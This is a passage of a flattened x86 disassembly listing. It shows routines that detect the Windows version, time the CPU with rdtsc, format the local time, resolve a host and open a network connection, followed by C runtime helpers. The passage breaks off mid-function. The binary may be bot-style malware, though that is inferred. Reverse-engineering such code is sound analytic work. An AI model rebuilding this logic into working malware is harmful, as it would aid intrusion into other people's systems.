loc_41A987 cmp [ebp+var_90], 4 jnz short loc_41A95D cmp [ebp+var_8C], esi jnz short loc_41A945 cmp [ebp+var_84], 1 jnz short loc_41A938 push 1 pop esi loc_41A938: ; CODE XREF: sub_41A8F4+3Fj cmp [ebp+var_84], 2 jnz short loc_41A987 push 1 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A945: ; CODE XREF: sub_41A8F4+36j cmp [ebp+var_8C], 0Ah jnz short loc_41A952 loc_41A94E: ; CODE XREF: sub_41A8F4+78j push 2 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A952: ; CODE XREF: sub_41A8F4+58j cmp [ebp+var_8C], 5Ah jnz short loc_41A987 jmp short loc_41A977 ; --------------------------------------------------------------------------- loc_41A95D: ; CODE XREF: sub_41A8F4+2Ej cmp [ebp+var_90], 5 jnz short loc_41A987 cmp [ebp+var_8C], esi jz short loc_41A94E cmp [ebp+var_8C], 1 jnz short loc_41A97B loc_41A977: ; CODE XREF: sub_41A8F4+67j push 3 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A97B: ; CODE XREF: sub_41A8F4+81j cmp [ebp+var_8C], 2 jnz short loc_41A987 push 7 loc_41A986: ; CODE XREF: sub_41A8F4+4Fj ; sub_41A8F4+5Cj ... pop esi loc_41A987: ; CODE XREF: sub_41A8F4+25j ; sub_41A8F4+4Bj ... mov eax, esi pop esi leave retn sub_41A8F4 endp ; =============== S U B R O U T I N E ======================================= sub_41A98C proc near ; CODE XREF: sub_41AA42+290p push ebx push esi push edi mov esi, 0F4240h loc_41A994: ; CODE XREF: sub_41A98C+2Fj ; sub_41A98C+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 2670ECAh rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41D410 mov edi, edx mov ebx, eax test edi, edi ja short loc_41A994 jb short loc_41A9C3 cmp ebx, esi ja short loc_41A994 loc_41A9C3: ; CODE XREF: sub_41A98C+31j push 0 push 64h push edi push ebx call sub_41D480 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AA36 jb short loc_41A9E2 cmp esi, 50h jnb short loc_41A9E7 loc_41A9E2: ; CODE XREF: sub_41A98C+4Fj push 4Bh xor edx, edx pop eax loc_41A9E7: ; CODE XREF: sub_41A98C+54j test ecx, ecx ja short loc_41AA36 jb short loc_41A9F2 cmp esi, 47h jnb short loc_41A9F7 loc_41A9F2: ; CODE XREF: sub_41A98C+5Fj push 42h xor edx, edx pop eax loc_41A9F7: ; CODE XREF: sub_41A98C+64j test ecx, ecx ja short loc_41AA36 jb short loc_41AA02 cmp esi, 37h jnb short loc_41AA07 loc_41AA02: ; CODE XREF: sub_41A98C+6Fj push 32h xor edx, edx pop eax loc_41AA07: ; CODE XREF: sub_41A98C+74j test ecx, ecx ja short loc_41AA36 jb short loc_41AA12 cmp esi, 26h jnb short loc_41AA17 loc_41AA12: ; CODE XREF: sub_41A98C+7Fj push 21h xor edx, edx pop eax loc_41AA17: ; CODE XREF: sub_41A98C+84j test ecx, ecx ja short loc_41AA36 jb short loc_41AA22 cmp esi, 1Eh jnb short loc_41AA27 loc_41AA22: ; CODE XREF: sub_41A98C+8Fj push 19h xor edx, edx pop eax loc_41AA27: ; CODE XREF: sub_41A98C+94j test ecx, ecx ja short loc_41AA36 jb short loc_41AA32 cmp esi, 0Ah jnb short loc_41AA36 loc_41AA32: ; CODE XREF: sub_41A98C+9Fj xor eax, eax xor edx, edx loc_41AA36: ; CODE XREF: sub_41A98C+4Dj ; sub_41A98C+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41A98C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA42 proc near ; CODE XREF: sub_401ACD+276Ep var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset dword_43D128 mov [ebp+var_CC], 94h call near ptr 26D05B7h nop xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41AAC9 cmp [ebp+var_C4], ebx jnz short loc_41AAA5 cmp [ebp+var_BC], 1 jnz short loc_41AA8F mov [ebp+var_4], offset dword_431284 loc_41AA8F: ; CODE XREF: sub_41AA42+44j cmp [ebp+var_BC], 2 jnz loc_41AB44 mov [ebp+var_4], offset dword_431280 jmp short loc_41AB15 ; --------------------------------------------------------------------------- loc_41AAA5: ; CODE XREF: sub_41AA42+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41AAB7 mov [ebp+var_4], offset dword_43127C jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAB7: ; CODE XREF: sub_41AA42+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41AB05 mov [ebp+var_4], offset dword_431278 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAC9: ; CODE XREF: sub_41AA42+33j cmp [ebp+var_C8], 5 jnz short loc_41AB05 cmp [ebp+var_C4], ebx jnz short loc_41AAE3 mov [ebp+var_4], offset dword_431274 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAE3: ; CODE XREF: sub_41AA42+96j cmp [ebp+var_C4], 1 jnz short loc_41AAF5 mov [ebp+var_4], offset dword_431270 jmp short loc_41AB0C ; --------------------------------------------------------------------------- loc_41AAF5: ; CODE XREF: sub_41AA42+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41AB0C loc_41AB05: ; CODE XREF: sub_41AA42+7Cj ; sub_41AA42+8Ej mov [ebp+var_4], offset dword_431268 loc_41AB0C: ; CODE XREF: sub_41AA42+73j ; sub_41AA42+85j ... cmp [ebp+var_BC], 2 jnz short loc_41AB44 loc_41AB15: ; CODE XREF: sub_41AA42+61j cmp [ebp+var_B8], bl jz short loc_41AB44 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset aSS_1 ; "%s (%s)" push eax call sub_41B886 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41AB44: ; CODE XREF: sub_41AA42+54j ; sub_41AA42+D1j ... mov ax, word_43783C push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CAE54 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41AB7D lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41AB7D: ; CODE XREF: sub_41AA42+12Cj push [ebp+arg_4] call sub_40AC0F pop ecx push eax call dword_4CAFB4 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CAF2C cmp eax, ebx jz short loc_41ABA6 push dword ptr [eax] jmp short loc_41ABAB ; --------------------------------------------------------------------------- loc_41ABA6: ; CODE XREF: sub_41AA42+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41ABAB: ; CODE XREF: sub_41AA42+162j lea eax, [ebp+var_3E4] push eax call sub_41B886 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 2670AE9h lea eax, [ebp+var_114] push 46h push eax push offset dword_43A114 push ebx mov esi, 409h push ebx push esi nop call near ptr 2740000h lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call near ptr 2730000h nop push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_38] push eax nop call near ptr 2850000h push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41B9D1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41A88B add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416922 pop ecx pop ecx push eax call sub_41A98C push edx push eax push offset dword_43A038 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AA42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACF6 proc near ; CODE XREF: sub_401ACD+279Cp ; sub_401ACD+72F5p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41B590 add esp, 0Ch cmp dword_4CB05C, 0 jnz short loc_41AD62 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CAE38 test eax, eax jnz short loc_41AD4B lea eax, [ebp+var_8C] push offset dword_43A19C push eax call sub_41B886 pop ecx pop ecx loc_41AD4B: ; CODE XREF: sub_41ACF6+40j test [ebp+var_C], 1 jz short loc_41AD58 push offset dword_43A194 jmp short loc_41AD5D ; --------------------------------------------------------------------------- loc_41AD58: ; CODE XREF: sub_41ACF6+59j push offset off_43A190 loc_41AD5D: ; CODE XREF: sub_41ACF6+60j lea eax, [ebp+var_8] jmp short loc_41AD7A ; --------------------------------------------------------------------------- loc_41AD62: ; CODE XREF: sub_41ACF6+28j mov esi, offset off_43A18C lea eax, [ebp+var_8] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41AD7A: ; CODE XREF: sub_41ACF6+6Aj push eax call sub_41B886 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43A148 push 200h push [ebp+arg_0] call sub_41B980 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41ACF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB5 proc near ; DATA XREF: sub_401ACD+7714o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43A27C call sub_41B590 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41B590 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41B590 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41B590 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41B590 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CAE70 test eax, eax jz loc_41AF4F cmp [ebp+var_34], ebx jbe short loc_41AE8C push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41B5F0 add esp, 0Ch loc_41AE8C: ; CODE XREF: sub_41ADB5+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41AEAA push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEAA: ; CODE XREF: sub_41ADB5+DEj cmp [ebp+var_20], ebx jbe short loc_41AEC4 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41B5F0 add esp, 0Ch loc_41AEC4: ; CODE XREF: sub_41ADB5+F8j cmp [ebp+var_18], ebx jbe short loc_41AEDE push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41B5F0 add esp, 0Ch loc_41AEDE: ; CODE XREF: sub_41ADB5+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CAF24 call dword_4CAF48 mov esi, eax cmp esi, ebx jz short loc_41AF67 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CAF3C cmp eax, ebx mov [ebp+var_4], eax jz short loc_41AF6E push ebx push ebx push ebx push ebx push eax call dword_4CAEE8 test eax, eax jz short loc_41AF48 push offset dword_43A260 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF48: ; CODE XREF: sub_41ADB5+18Aj push offset unk_43A224 jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF4F: ; CODE XREF: sub_41ADB5+B7j lea eax, [ebp+var_55C] push offset dword_43A208 push eax call sub_41B886 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41AF81 ; --------------------------------------------------------------------------- loc_41AF67: ; CODE XREF: sub_41ADB5+153j push offset unk_43A1DC jmp short loc_41AF73 ; --------------------------------------------------------------------------- loc_41AF6E: ; CODE XREF: sub_41ADB5+17Bj push offset unk_43A1AC loc_41AF73: ; CODE XREF: sub_41ADB5+191j ; sub_41ADB5+198j ... lea eax, [ebp+var_55C] push eax call sub_41B886 pop ecx pop ecx loc_41AF81: ; CODE XREF: sub_41ADB5+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41AFAC push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409A72 add esp, 14h loc_41AFAC: ; CODE XREF: sub_41ADB5+1D2j lea eax, [ebp+var_55C] push eax call sub_4151AC pop ecx push esi call dword_4CAFA8 push [ebp+var_4] call dword_4CAFA8 push [ebp+var_1D8] call sub_40B412 pop ecx push ebx nop call near ptr 26E0000h pop edi pop esi pop ebx int 3 ; Trap to Debugger sub_41ADB5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Ep ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B000 loc_41AFEC: ; CODE XREF: sub_41AFE0+19j mov al, [ecx] inc ecx test al, al jz short loc_41B033 test ecx, 3 jnz short loc_41AFEC add eax, 0 loc_41B000: ; CODE XREF: sub_41AFE0+Aj ; sub_41AFE0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B000 mov eax, [ecx-4] test al, al jz short loc_41B051 test ah, ah jz short loc_41B047 test eax, 0FF0000h jz short loc_41B03D test eax, 0FF000000h jz short loc_41B033 jmp short loc_41B000 ; --------------------------------------------------------------------------- loc_41B033: ; CODE XREF: sub_41AFE0+11j ; sub_41AFE0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B03D: ; CODE XREF: sub_41AFE0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B047: ; CODE XREF: sub_41AFE0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B051: ; CODE XREF: sub_41AFE0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41AFE0 endp ; =============== S U B R O U T I N E ======================================= sub_41B05B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+58DAp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B070 or eax, 0FFFFFFFFh jmp short loc_41B0AA ; --------------------------------------------------------------------------- loc_41B070: ; CODE XREF: sub_41B05B+Ej test al, 83h jz short loc_41B0A8 push esi call sub_41DB8B push esi mov edi, eax call sub_41DB25 push dword ptr [esi+10h] call sub_41DA72 add esp, 0Ch test eax, eax jge short loc_41B096 or edi, 0FFFFFFFFh jmp short loc_41B0A8 ; --------------------------------------------------------------------------- loc_41B096: ; CODE XREF: sub_41B05B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41B0A8 push eax call sub_41B0B1 and dword ptr [esi+1Ch], 0 pop ecx loc_41B0A8: ; CODE XREF: sub_41B05B+17j ; sub_41B05B+39j ... mov eax, edi loc_41B0AA: ; CODE XREF: sub_41B05B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B05B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40AB31+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41B117 mov eax, dword_4DC908 cmp eax, 3 jnz short loc_41B0DD push esi call sub_41DE77 pop ecx test eax, eax push esi jz short loc_41B109 push eax call sub_41DEA2 pop ecx pop ecx jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B0DD: ; CODE XREF: sub_41B0B1+14j cmp eax, 2 jnz short loc_41B108 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_41B108 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41EC29 add esp, 0Ch jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B108: ; CODE XREF: sub_41B0B1+2Fj ; sub_41B0B1+44j push esi loc_41B109: ; CODE XREF: sub_41B0B1+20j push 0 push dword_4DC904 nop call near ptr 27B0000h loc_41B117: ; CODE XREF: sub_41B0B1+Aj ; sub_41B0B1+2Aj ... pop esi leave retn sub_41B0B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B11A proc near ; CODE XREF: sub_4010AB+45p ; ___:0040F089p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41B13E xor eax, eax jmp loc_41B1E7 ; --------------------------------------------------------------------------- loc_41B13E: ; CODE XREF: sub_41B11A+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41B151 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B151: ; CODE XREF: sub_41B11A+2Dj mov [ebp+arg_C], 1000h jmp short loc_41B15D ; --------------------------------------------------------------------------- loc_41B15A: ; CODE XREF: sub_41B11A+C4j mov ecx, [ebp+arg_0] loc_41B15D: ; CODE XREF: sub_41B11A+35j ; sub_41B11A+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41B18F mov eax, [esi+4] test eax, eax jz short loc_41B18F cmp ecx, eax mov edi, ecx jb short loc_41B174 mov edi, eax loc_41B174: ; CODE XREF: sub_41B11A+56j push edi push dword ptr [esi] push ebx call sub_41C310 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B18F: ; CODE XREF: sub_41B11A+49j ; sub_41B11A+50j cmp ecx, [ebp+arg_C] jb short loc_41B1C2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41B1A5 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41B1A5: ; CODE XREF: sub_41B11A+80j push eax push ebx push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch test eax, eax jz short loc_41B1EC cmp eax, 0FFFFFFFFh jz short loc_41B1F2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41B1DA ; --------------------------------------------------------------------------- loc_41B1C2: ; CODE XREF: sub_41B11A+78j push esi call sub_41F043 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41B1F6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41B1DA: ; CODE XREF: sub_41B11A+73j ; sub_41B11A+A6j cmp [ebp+arg_0], 0 jnz loc_41B15A mov eax, [ebp+arg_8] loc_41B1E7: ; CODE XREF: sub_41B11A+1Fj ; sub_41B11A+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41B1EC: ; CODE XREF: sub_41B11A+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41B1F6 ; --------------------------------------------------------------------------- loc_41B1F2: ; CODE XREF: sub_41B11A+9Fj or dword ptr [esi+0Ch], 20h loc_41B1F6: ; CODE XREF: sub_41B11A+B2j ; sub_41B11A+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41B1E7 sub_41B11A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41CFD3+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41B21D push [ebp+arg_4] call sub_41B4D5 pop ecx jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B21D: ; CODE XREF: sub_41B202+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41B232 push [ebp+arg_0] call sub_41B0B1 pop ecx jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B232: ; CODE XREF: sub_41B202+20j mov eax, dword_4DC908 cmp eax, 3 jnz loc_41B342 loc_41B240: ; CODE XREF: sub_41B202+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B31E push [ebp+arg_0] call sub_41DE77 mov ebx, eax pop ecx test ebx, ebx jz loc_41B2F9 cmp esi, dword_4DC900 ja short loc_41B2B2 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41E680 add esp, 0Ch test eax, eax jnz short loc_41B2AE push esi call sub_41E1CB mov edi, eax pop ecx test edi, edi jz short loc_41B2B2 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41B292 mov eax, esi loc_41B292: ; CODE XREF: sub_41B202+8Cj push eax push ebx push edi call sub_41C310 push ebx call sub_41DE77 push [ebp+arg_0] mov ebx, eax push ebx call sub_41DEA2 add esp, 18h loc_41B2AE: ; CODE XREF: sub_41B202+74j test edi, edi jnz short loc_41B2F5 loc_41B2B2: ; CODE XREF: sub_41B202+62j ; sub_41B202+81j test esi, esi jnz short loc_41B2B9 push 1 pop esi loc_41B2B9: ; CODE XREF: sub_41B202+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DC904 nop call near ptr 27C0000h mov edi, eax test edi, edi jz short loc_41B2F5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41B2E1 mov eax, esi loc_41B2E1: ; CODE XREF: sub_41B202+DBj push eax push ecx push edi call sub_41C310 push [ebp+arg_0] push ebx call sub_41DEA2 add esp, 14h loc_41B2F5: ; CODE XREF: sub_41B202+AEj ; sub_41B202+D0j test ebx, ebx jnz short loc_41B31A loc_41B2F9: ; CODE XREF: sub_41B202+56j test esi, esi jnz short loc_41B300 push 1 pop esi loc_41B300: ; CODE XREF: sub_41B202+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC904 nop call near ptr 2860000h mov edi, eax loc_41B31A: ; CODE XREF: sub_41B202+F5j test edi, edi jnz short loc_41B33B loc_41B31E: ; CODE XREF: sub_41B202+43j cmp dword_4DB2FC, 0 jz short loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B240 jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B33B: ; CODE XREF: sub_41B202+11Aj ; sub_41B202+123j ... mov eax, edi jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B342: ; CODE XREF: sub_41B202+38j cmp eax, 2 jnz loc_41B45D cmp esi, 0FFFFFFE0h ja short loc_41B35F test esi, esi jbe short loc_41B35C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41B35F ; --------------------------------------------------------------------------- loc_41B35C: ; CODE XREF: sub_41B202+150j push 10h pop esi loc_41B35F: ; CODE XREF: sub_41B202+14Cj ; sub_41B202+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B43F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41EBD2 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41B423 cmp esi, dword_43C2F4 jnb short loc_41B3E7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EF9A add esp, 10h test eax, eax jz short loc_41B3AD mov edi, [ebp+arg_0] jmp short loc_41B3DF ; --------------------------------------------------------------------------- loc_41B3AD: ; CODE XREF: sub_41B202+1A4j push edi call sub_41EC6E mov edi, eax pop ecx test edi, edi jz short loc_41B3E7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B3C6 mov eax, esi loc_41B3C6: ; CODE XREF: sub_41B202+1C0j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h loc_41B3DF: ; CODE XREF: sub_41B202+1A9j test edi, edi jnz loc_41B33B loc_41B3E7: ; CODE XREF: sub_41B202+18Bj ; sub_41B202+1B6j push esi push 0 push dword_4DC904 nop call near ptr 27C0000h mov edi, eax test edi, edi jz short loc_41B43F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41B408 mov eax, esi loc_41B408: ; CODE XREF: sub_41B202+202j push eax push [ebp+arg_0] push edi call sub_41C310 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41EC29 add esp, 18h jmp short loc_41B437 ; --------------------------------------------------------------------------- loc_41B423: ; CODE XREF: sub_41B202+17Fj push esi push [ebp+arg_0] push 0 push dword_4DC904 call near ptr 2860000h nop mov edi, eax loc_41B437: ; CODE XREF: sub_41B202+21Fj test edi, edi jnz loc_41B33B loc_41B43F: ; CODE XREF: sub_41B202+162j ; sub_41B202+1F8j cmp dword_4DB2FC, 0 jz loc_41B33B push esi call sub_41F312 test eax, eax pop ecx jnz loc_41B35F jmp short loc_41B49B ; --------------------------------------------------------------------------- loc_41B45D: ; CODE XREF: sub_41B202+143j ; sub_41B202+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41B487 test esi, esi jnz short loc_41B46B push 1 pop esi loc_41B46B: ; CODE XREF: sub_41B202+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DC904 nop call near ptr 2860000h test eax, eax jnz short loc_41B49D loc_41B487: ; CODE XREF: sub_41B202+260j cmp dword_4DB2FC, 0 jz short loc_41B49D push esi call sub_41F312 test eax, eax pop ecx jnz short loc_41B45D loc_41B49B: ; CODE XREF: sub_41B202+2Bj ; sub_41B202+134j ... xor eax, eax loc_41B49D: ; CODE XREF: sub_41B202+16j ; sub_41B202+13Bj ... pop edi pop esi pop ebx leave retn sub_41B202 endp ; =============== S U B R O U T I N E ======================================= sub_41B4A2 proc near ; CODE XREF: sub_41B4C2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 